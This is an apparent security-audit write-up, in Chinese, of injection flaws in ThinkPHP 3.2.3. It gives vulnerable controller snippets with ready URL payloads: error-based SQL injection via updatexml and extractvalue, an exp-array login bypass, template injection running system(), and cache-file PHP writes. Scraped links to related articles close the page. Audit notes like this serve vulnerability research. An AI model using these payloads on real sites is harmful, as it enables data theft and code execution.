thinkphp3.2.3代码审计
<?php
namespace Home\Controller;
use Think\Controller;
class UserController extends Controller { public function index(/*$id*/)
{
// S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
//在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
// F('key','<?php phpinfo();?>'); 14.生成缓存文件,在 runtime/key.php
$this->display();
/*
// $name = $_GET['name'];
// $this->assign($name); 13.模板问题 http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>
// $this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think // $map['id'] = 5;
// $map['_query']='username=afanti&score=10'; //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
// $data = M('user')->where($map)->select();
// dump(data);
// $map['id'] = I('id');
// $map['_string'] = 'username='."'".I('username')."'"; //12组合注入 http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
// $data = M('user')->where($map)->select();
// dump(data); // $user = M("user"); //11.setInc注入
// $user->where('id=5')->setInc('sorce'.I('num')); // if(intval($id)>0)
// { //10、参数传递注入 public\s+function\s+[\w_]+\(\$
// $data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
// dump($data);
// }
// $map = array();
//
// $data = array();
// $data['user'] = $_POST['username'];
// $data['pass'] = md5($_POST['password']); 9.exp username[0]=exp&username[1]=aa'or 1=1%23&password=1
// M('user')->where($data)->find();
//
// $res = M('member')->where(array('id'=>$_GET['userid']))->count(); 9.exp userid[0]=exp&userid[1]=aaaaaa
//
//// $map['id']=I('id'); //这样exp不可以
// $map['id'] = $_GET['id']; //9.exp 注入http://127.0.0.1/tp/index.php/home/user/index?id[0]=exp&id[1]=aaaaaa
// $data = M('user')->where($map)->select();
// dump($data);
// M('user')->count(I('par')); //8聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
// //8.query,execute支持原生的sql语句 聚合函数
//$Model->index(I('user'))->select(); //7.索引注入
// M('user')->comment(I('comment'))->where('1=1')->select(); //6.comment SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
// M('user')->where('1=1')->order(array('id'=>I('orderby')))->select(); //5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
// M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select(); // 4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
// M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控
// M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错
// M()->table(I('biao'))->where('1=1')->select(); //2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在
// $data = M('user')->where("id=".I('id'))->select(); //1.where后直接直接拼接会产生注入
// dump($data);
// $data = I('id','1','intval');
// echo $data; //URL_PARAMS_BIND == true
// echo $id; //参数绑定 http://127.0.0.1/tp/index.php/home/user/index/id/11111111 传入11111
// echo "usercontroller"; } }
1.where后直接直接拼接会产生注入
$data = M('user')->where("id=".I('id'))->select();
2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在。
M()->table(I('biao'))->where('1=1')->select();
3.
M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控导致注入
M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错
4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();
5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();
6.comment注入 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
M('user')->comment(I('comment'))->where('1=1')->select();
7.索引注入
$Model->index(I('user'))->select();
8.query,execute,聚合函数支持原生的sql语句
M('user')->count(I('par')); //聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
9.exp注入
a.)
$data = array();
$data['user'] = $_POST['username'];
$data['pass'] = md5($_POST['password']); payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1
M('user')->where($data)->find();
b.)
$res = M('member')->where(array('id'=>$_GET['userid']))->count(); payload: userid[0]=exp&userid[1]=aaaaaa
c.)通过I函数exp注入就不存在了
$res = M('member')->where(array('id'=>$I('userid')))->count();
10、参数传递注入 public\s+function\s+[\w_]+\(\$
public function index(/*$id*/)....
if(intval($id)>0)
{
$data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
dump($data);
}
11.setInc注入
$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));
12.组合注入
http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'";
$data = M('user')->where($map)->select();
dump(data);
13、_query参数可控
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
$map['id'] = 5;
$map['_query']='username=afanti&score=10'; //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
$data = M('user')->where($map)->select();
dump(data);
14、模板问题:http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>
$name = $_GET['name'];
$this->assign($name);
$this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think
15、在runtime/key.php
S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
F('key','<?php phpinfo();?>');
$this->display();
thinkphp3.2.3
跨控制器的方法R:
public function test()
{
echo "test";
echo I('name');
$data = M('user')->where('id=1')->select();
$a = A('User');
$a->index();
R('User/index'); //跨控制器
dump($data);
}
16.select、find、delete注入
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
注入的payload:
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
thinkphp3.2.3代码审计的更多相关文章
- 代码审计准备之Thinkphp3
0x01环境部署: 下载: 获取ThinkPHP的方式很多,官方网站(http://thinkphp.cn)是最好的下载和文档获取来源. 官网提供了稳定版本的下载:http://thinkphp.cn ...
- 代码审计-Thinkphp3框架EXP表达式SQL注入
最近看java框架源码也是看的有点头疼,好多还要复习熟悉 还有好多事没做...慢慢熬. 网上好像还没有特别详细的分析 我来误人子弟吧. 0x01 tp3 中的exp表达式 查询表达式的使用格式: $m ...
- 代码审计-thinkphp3.2.3框架漏洞sql注入
开始复现审计一下tp3和tp5的框架漏洞,当个练习吧. 涉及注入的方法为where() table() delete()等. 环境 tp3.2.3 : 0x01 注入成因 测试代码: public f ...
- PHP代码审计05之正则使用不当
前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...
- Thinkphp3分析与审计
0x00 前言: 这篇是去年组内分享的时候给小伙伴写的0基础快速审计tp3系列的文章,主要是对架构做个分析以及审计一些sql注入漏洞~ 现在想想打算放出来,过了一年了,可能里面有一些问题,望看到的大佬 ...
- thinkphp3.2.3中U()方法和redirect()方法区别
今天博主看3.1的教程,学着3.2,就遇到了这个坑,怎么就是不跳转呢,很纳闷!! 在thinkphp3.1 中 U()方法是可以执行跳转的(看视频教程里面是可以的,博主没有测试过). 但是在think ...
- thinkphp3.2.3版本文件目录及作用
下载thinkphp3.2.3版本,解压缩后将文件夹名字改为thinkphp,然后放在www目录下,里面的文件夹和文件的名字和作用如下:(前面有Tab健的表示下一级,thinkphp是根目录) //t ...
- 基于ThinkPHP3的微信平台开发_1
微信公众平台是个好东西,具体的就不说了,我直接说技术>_< 下图为目录结构一览: 微信开发 - 文件目录结构 平台功能: 此次开发的平台是面向多微信公众号.微信多公众号主(下面简称号主)的 ...
- Thinkphp3.2.3使用Ajax一定注意 数据返回
Thinkphp3.2.3使用Ajax一定注意 数据返回 $data = 'ok'; $this->ajaxReturn($data); 不能直接 echo $data;
随机推荐
- jQuery基础---Ajax基础
内容提纲: 1.Ajax 概述 2.load()方法 3.$.get()和$.post() 4.$.getScript()和$.getJSON() 5.$.ajax()方法 6.表单序列化 发文不易, ...
- asp.netCore连接多个数据库
1.首先要有对应的context实体类, 多个实体类的构造函数的参数都应该是集合 public class firstContext : DbContext { //多个数据库应该使用这个构造函数,参 ...
- Spring------约束导入和application.xml的引入方式
1.spring约束的导入 2.SSH常用约束 3.application.xml的引入方式 <1.通过ClassPathXmlApplicationContext引入配置文件applicati ...
- 基于Github搭建SrpingCloudConfig详解
最近在看SpringCloud,为了帮助自己学习和记忆,所以写下这篇文章. 从SpringCloud官方文档上看SpringCloudConfig其实为我们提供配置外部化的一个服务,可以理解成就是个w ...
- uestc Another LCIS
Another LCIS Time Limit: 1000 ms Memory Limit: 65536 kB Solved: 193 Tried: 2428 Description For a se ...
- springcloud 集成kafka问题记录,发消息报错:ERROR o.s.kafka.support.LoggingProducerListener - Exception thrown when sending a message with key='null' and payload='{-1,
在springcloud集成kafka,发送消息时报错: 2018-08-15 16:01:34.159 [http-nio-8081-exec-1] INFO org.apache.kafka.c ...
- Linux ssh开启服务
1.登陆linux系统,打开终端命令.输入 rpm -qa |grep ssh 查找当前系统是否已经安装 2.如果没有安装SSH软件包,可以通过yum 或rpm安装包进行安装 启动SSH服务2 安装 ...
- Volley框架实现Http的get和post请求
一: volley简介: Google I/O 2013上,Volley发布了.Volley是Android平台上的网络通信库,能使网络通信更快,更简单,更健壮.这是Volley名称的由来: a bu ...
- vue知识点之day5
vuex是解决多层父子关系传值的问题,减少了传值的复杂度 vue+webpack安装图示
- json 对象里面含有 =的解决办法
今天通过restful 调用接口的时候,遇到这样的问题,通过接口返回的数据如下: { "code": 0, "message": "成功", ...